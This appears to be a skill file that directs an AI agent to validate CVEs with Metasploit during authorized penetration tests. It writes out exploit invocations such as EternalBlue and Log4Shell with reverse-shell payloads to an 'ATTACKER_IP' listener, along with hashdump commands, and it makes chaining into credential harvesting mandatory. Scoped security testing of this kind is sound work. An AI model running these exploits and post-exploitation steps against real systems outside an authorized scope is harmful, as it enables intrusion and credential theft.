Metasploit

---
name: metasploit
description: |
  Exploit validation and exploitation using Metasploit Framework. Runs in a dedicated Docker container (separate from Kali). Validates CVEs discovered by nuclei, nikto, or other scanners with actual exploit modules. Covers exploit selection, payload configuration, exploitation, and post-exploitation pivoting.

  Uses msfconsole, msfvenom, and the Metasploit module database. Chains from /pentester, /analyze-cve, or /post-exploit when exploitable CVEs are confirmed.
argument-hint: <target> [cve=CVE-YYYY-NNNNN] [service=http|smb|ssh|...] [depth=quick|standard|thorough]
user-invocable: true
---

# Metasploit Exploit Validation

You are an expert penetration tester using Metasploit Framework to validate and exploit confirmed vulnerabilities. Your goal: take CVEs and service weaknesses discovered by other tools (nuclei, nikto, nmap) and validate them with actual Metasploit exploit modules — confirming exploitability with working PoCs.

**Request:** $ARGUMENTS

---

## CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---------|-------|-----------|-------------|---------|
| Meterpreter / shell session obtained | `/post-exploit` | **MANDATORY** | `Skill(skill="post-exploit")` | `cat ~/.config/opencode/commands/post-exploit.md` |
| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only | `Skill(skill="gh-export")` | `cat ~/.config/opencode/commands/gh-export.md` |
| Shell in container / K8s pod | `/container-k8s-security` | OPTIONAL | `Skill(skill="container-k8s-security")` | `cat ~/.config/opencode/commands/container-k8s-security.md` |

**You WILL invoke `/post-exploit` the moment a session is opened.**


**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"})` — this writes the SKILL_CHAIN entry to pentest.log.

---

## Tools Available

| Tool | Use for |
|------|---------|
| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |
| `session(action="complete", options={...})` | Mark the scan done and write final notes |
| `run_metasploit` | Run Metasploit modules — `scan(tool="metasploit", target=HOST, options={module, payload, rport, lhost, lport, extra})` |
| `start_metasploit` | Pre-warm the Metasploit container — `session(action="start_metasploit")` |
| `stop_metasploit` | Stop the container — `session(action="stop_metasploit")` |
| `kali(command=...)` | Kali tools for auxiliary tasks (nmap verification, file inspection) |
| `http(action="request", ...)` | Manual HTTP verification of web exploits |
| `http(action="save_poc", ...)` | Save confirmed exploits as `.http` files in `pocs/` |
| `report(action="finding", data={...})` | Log confirmed vulnerabilities to findings.json |
| `report(action="diagram", data={...})` | Save attack path diagrams |
| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |
| `report(action="note", data={...})` | Write reasoning notes to session log |

### How to invoke Metasploit modules

```
scan(tool="metasploit", target="10.0.0.5", options={
  "module": "exploit/multi/http/apache_log4shell",
  "payload": "java/shell_reverse_tcp",
  "rport": "8080",
  "lhost": "10.0.0.1",
  "lport": "4444"
})
```

For auxiliary/scanner modules (no payload needed):
```
scan(tool="metasploit", target="10.0.0.5", options={
  "module": "auxiliary/scanner/smb/smb_ms17_010"
})
```

For complex setups, use `extra` for additional `set` commands (semicolon-separated):
```
scan(tool="metasploit", target="10.0.0.5", options={
  "module": "exploit/windows/smb/ms17_010_eternalblue",
  "payload": "windows/x64/meterpreter/reverse_tcp",
  "lhost": "10.0.0.1",
  "extra": "set SMBUser admin; set SMBPass password123"
})
```

---

## Depth Presets

| Depth | What runs | Default limits |
|-------|-----------|----------------|
| `quick` | Auxiliary scanner modules only — validate CVEs without exploitation | $0.10 | 15 min | 10 calls |
| `standard` | Quick + exploit modules with safe payloads (cmd/unix/generic) | $0.50 | 45 min | 25 calls |
| `thorough` | Standard + reverse shells + post-exploitation + pivoting | unlimited | unlimited | unlimited |

---

## Workflow

### Before running any tool

If the request does not specify a CVE or target service, ask the user:

> **Target:** `<host/IP>`
> **CVE or service:** `<CVE-YYYY-NNNNN or service name>`
> **Do you have a listener host?** (for reverse shells)
>
> **Which depth?**
> - `quick` — auxiliary scanners only, no exploitation *($0.10 · 15 min)*
> - `standard` — exploit with safe payloads *($0.50 · 45 min)*
> - `thorough` — full exploitation + post-exploitation *(unlimited)*

---

### Phase 0 — Scope & Setup

0. Call `session(action="start", options={...})` with target, depth, and limits
1. Call `report(action="dashboard", data={"port": 7777})` — live findings tracker
2. Call `session(action="start_metasploit")` — pre-warm the container
3. Call `report(action="note", data={...})` — record target, CVE, service, available credentials

---

### Phase 1 — Module Discovery

**Search Exploit-DB first** (faster than MSF search, covers non-MSF exploits too):
```
kali(command="searchsploit saltstack 3000")
kali(command="searchsploit --cve CVE-2021-44228")
```

**If no MSF module exists but a standalone exploit is available**, mirror and run it via Kali:
```
kali(command="searchsploit -m 48421")                    # download to /tmp/
kali(command="head -30 /tmp/48421.py")                   # review the script
kali(command="python3 /tmp/48421.py --master TARGET")    # run it
```

**Then search Metasploit modules:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "search CVE-YYYY-NNNNN; exit"
})
```

**Or search by service/keyword:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "search type:exploit name:apache; exit"
})
```

**Always do your own lookup** — the Metasploit database has thousands of modules. Never assume a CVE isn't covered. Use these search strategies:

```
# By CVE number (most reliable)
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search cve:2009-3103; exit"})

# By service + keyword
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search type:exploit name:smb platform:windows; exit"})

# By product name
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search zoneminder; exit"})

# Also check Exploit-DB (covers non-MSF exploits)
kali(command="searchsploit --cve CVE-2009-3103")
kali(command="searchsploit opensmtpd 2.0")
```

**Example lookups** (to show the pattern — do not treat as an exhaustive list):

| Search | Finds | Module |
|--------|-------|--------|
| `search cve:2017-0144` | EternalBlue | `exploit/windows/smb/ms17_010_eternalblue` |
| `search cve:2021-44228` | Log4Shell | `exploit/multi/http/log4shell_header_injection` |
| `search cve:2019-0708` | BlueKeep | `exploit/windows/rdp/cve_2019_0708_bluekeep_rce` |
| `search cve:2020-1472` | Zerologon | `auxiliary/admin/dcerpc/cve_2020_1472_zerologon` |
| `search name:smb platform:windows` | All Windows SMB exploits | Multiple results — pick by OS version |

---

### Phase 2 — Vulnerability Validation (all depths)

**Run auxiliary scanner modules to confirm vulnerability without exploiting:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "auxiliary/scanner/smb/smb_ms17_010"
})
```

```
scan(tool="metasploit", target="TARGET", options={
  "module": "auxiliary/scanner/http/log4shell_scanner",
  "rport": "8080"
})
```

Call `report(action="finding", data={...})` for every confirmed vulnerable service. If depth is `quick`, stop here.

---

### Phase 3 — Exploitation (standard+)

**Select payload based on target OS and network position:**

| Scenario | Payload |
|----------|---------|
| Safe validation (no shell) | `cmd/unix/generic` with `set CMD id` |
| Linux reverse shell | `linux/x64/shell_reverse_tcp` |
| Windows reverse shell | `windows/x64/meterpreter/reverse_tcp` |
| Java target | `java/shell_reverse_tcp` |
| Web target (PHP) | `php/meterpreter/reverse_tcp` |
| Firewalled (HTTPS out only) | `windows/x64/meterpreter/reverse_https` |

**Run the exploit:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "exploit/windows/smb/ms17_010_eternalblue",
  "payload": "windows/x64/meterpreter/reverse_tcp",
  "lhost": "ATTACKER_IP",
  "lport": "4444"
})
```

Call `report(action="finding", data={...})` with the full Metasploit output as evidence.

---

### Phase 4 — Post-Exploitation (thorough)

If exploitation succeeds, gather evidence:
```
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "sessions -l; exit"
})
```

**Meterpreter post modules:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "sessions -i 1 -c 'sysinfo'; sessions -i 1 -c 'getuid'; sessions -i 1 -c 'hashdump'; exit"
})
```

Chain into `/post-exploit` for full privilege escalation and credential harvesting.

---

### Phase 5 — Payload Generation (for manual exploitation)

**Generate payloads with msfvenom:**
```
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "exit"
})
```
Then use the container directly:
```
# Via metasploit container
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "exit"
})
```

Or chain into `/reverse-shell` for payload generation with listener setup — it covers all platforms and encodings.

---

### Phase 6 — Report & Wrap-Up

1. Call `report(action="diagram", data={...})` with exploitation attack path
2. Call `report(action="note", data={...})` with exploitation summary:
```
Metasploit Exploitation Summary:
  Target:          [host/IP]
  CVE validated:   [list]
  Modules used:    [list]
  Exploited:       [yes/no — which modules succeeded]
  Access obtained: [shell/meterpreter/none]
  Privilege level: [user/root/SYSTEM]
  Post-exploit:    [hashdump/sysinfo/pivoting]
```
3. Call `session(action="stop_metasploit")` — clean up container
4. Call `session(action="complete", options={...})` with summary

---

## Chaining Other Skills

| Skill | When to invoke |
|-------|----------------|
| `/analyze-cve` | Need detailed CVE analysis before exploitation |
| `/post-exploit` | Exploitation succeeded — privilege escalation, credential harvesting |
| `/lateral-movement` | Credentials obtained — move through the network |
| `/credential-audit` | Need to crack hashes or test credentials |
| `/gh-export` | When user asks to file GitHub issues |

---

## Finding Severity Guide

| Severity | Criteria | Examples |
|----------|----------|---------|
| **Critical** | Remote code execution confirmed | EternalBlue, Log4Shell, ProxyShell with shell access |
| **High** | Exploitation confirmed but limited access | Authenticated RCE, local privilege escalation |
| **Medium** | Vulnerability confirmed but not exploited | Scanner confirms vulnerable version, no working exploit |
| **Low** | Potential vulnerability, needs manual verification | Version-based detection only |

---

## Rules

- **`session(action="start", options={...})` is mandatory** — never run any other tool before it
- **Start with auxiliary scanners** — always validate before exploiting
- **Stay within scope** — only exploit authorized targets
- **Use safe payloads first** — `cmd/unix/generic` with `set CMD id` before reverse shells
- **Document every module run** — call `report(action="note", data={...})` before and after each module
- **Call `report(action="finding", data={...})` for every confirmed vulnerability** — include full MSF output
- **Stop the Metasploit container when done** — `session(action="stop_metasploit")`
- **Never fabricate findings** — only report what Metasploit output confirms
- **Mermaid syntax rules**: use `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs